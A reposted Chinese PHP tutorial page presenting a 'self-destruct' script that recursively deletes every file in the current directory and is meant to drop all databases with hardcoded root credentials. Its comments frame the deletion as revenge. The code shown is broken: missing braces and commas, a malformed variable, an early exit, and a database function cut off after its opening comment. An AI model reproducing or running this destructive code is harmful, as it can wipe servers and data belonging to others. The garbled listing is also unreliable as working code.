首页 > 开发 > PHP > 正文

PHP自毁程序(慎用)

2024-05-04 23:37:35
字体:
来源:转载
供稿:网友

这篇文章主要介绍了PHP自毁程序,可实现递归删除当前目录及数据库的功能,完成当前程序的卸载,用户需谨慎使用,需要的朋友可以参考下

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

 

 
  1. <?php 
  2. // +---------------------------------------------------------------------- 
  3. // | Kill!! 
  4. // | 程序将清除本目录所有文件、目录 
  5. // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!) 
  6. // +---------------------------------------------------------------------- 
  7. // | Version: $Id$ 
  8. // +----------------------------------------------------------------------  
  9. //----------数据库配置区域----------------- 
  10. //复仇的力量是很可怕的,所以无需指定数据库,全删! 
  11. define('DB_USER''root'); 
  12. define('DB_PWD''root'); 
  13. define('DB_HOST''localhost'); 
  14. define('DB_PORT''3216'); 
  15. define('DB_DAMAGE'true); //为false时,不碰数据库 
  16. run(); 
  17. /** 
  18. * 主体思想必须光辉伟大! 
  19. * 
  20. * @return void 
  21. **/ 
  22. function run() 
  23. //删除文件 
  24. deletedir(); 
  25. //删除数据库 
  26. deleteDB(); 
  27. /** 
  28. * 呵呵呵,删除当前目录所有文件(递归) 
  29. * 
  30. * @return void 
  31. **/ 
  32. function deletedir($dir = ''){ 
  33. if ($dir == '') { 
  34. $dir = realpath('.'); 
  35. echo $dir; 
  36. exit(); 
  37. if(!handle=@opendir($dir)){ 
  38. //检测要打开目录是否存在 
  39. die("没有该目录"); 
  40. while(false !==($file=readdir($handle))){ 
  41. if($file!=="."&&$file!==".."){ 
  42. //排除当前目录与父级目录 
  43. $file=$dir .DIRECTORY_SEPARATOR. $file; 
  44. if(is_dir($file)){ 
  45. deletedir($file); 
  46. }else
  47. if(@unlink($file)){ 
  48. echo "文件<b>$file</b>删除成功。<br>"
  49. }else
  50. echo "文件<b>$file</b>删除失败!<br>"
  51. if(@rmdir($dir)){ 
  52. echo "目录<b>$dir</b>删除成功了。<br>/n"
  53. }else
  54. echo "目录<b>$dir</b>删除失败!<br>/n"
  55. /** 
  56. * 呵呵呵,删除数据库 
  57. * 
  58. * @return void 
  59. **/ 
  60. function deleteDB() 
  61. if(DB_DAMAGE === true){ 
  62. //start 

希望本文所述对大家的php程序设计有所帮助。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表